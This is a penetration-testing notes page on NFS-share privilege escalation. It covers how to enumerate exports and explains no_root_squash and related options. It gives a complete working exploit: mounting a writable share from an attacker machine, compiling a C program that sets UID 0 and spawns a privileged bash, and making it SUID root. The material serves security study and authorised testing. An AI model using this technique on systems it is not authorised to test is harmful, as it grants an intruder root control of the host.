> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/privesc/nfs-shares.md).

# NFS Shares

NFS share privilege escalation notes for no\_root\_squash, exported writable shares, attacker-mounted filesystems, and SUID payload validation.

Misconfigured NFS exports can allow local privilege escalation when a writable share is exported with dangerous options such as `no_root_squash`. In that case, root on the attacker machine may create files on the share that keep root ownership when accessed from the target.

## Methodology

* Enumerate NFS exports from the target and attacker machine.
* Look for writable shares and dangerous export options such as `no_root_squash` or `no_all_squash`.
* Mount the share from an attacker machine and create the smallest SUID proof of concept needed to validate impact.

## Quick Checks

On the target:

```bash
cat /etc/exports
showmount -e localhost
grep no_root_squash /etc/exports
```

From an attacker machine:

```bash
showmount -e target_ip
```

## Dangerous Export Options

| Option              | Risk                                                                    |
| ------------------- | ----------------------------------------------------------------------- |
| `no_root_squash`    | Remote root may keep root ownership on files created inside the export. |
| `rw`                | Allows writing into the exported share.                                 |
| `no_all_squash`     | Users may keep their original UID/GID mapping.                          |
| Broad client ranges | More hosts can mount and interact with the export.                      |

## Exploitation Pattern

On the attacker machine:

```bash
mkdir /tmp/nfs
mount -t nfs target_ip:/shared/folder /tmp/nfs
cd /tmp/nfs
cat > privesc.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>

int main() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
    return 0;
}
EOF
gcc privesc.c -o privesc
chmod +s privesc
```

On the target:

```bash
/shared/folder/privesc
```

## Validation Notes

```bash
ls -la /shared/folder/privesc
id
```

If the binary is not owned by root or the SUID bit does not survive, the export is probably squashing root or mounted with restrictive options.


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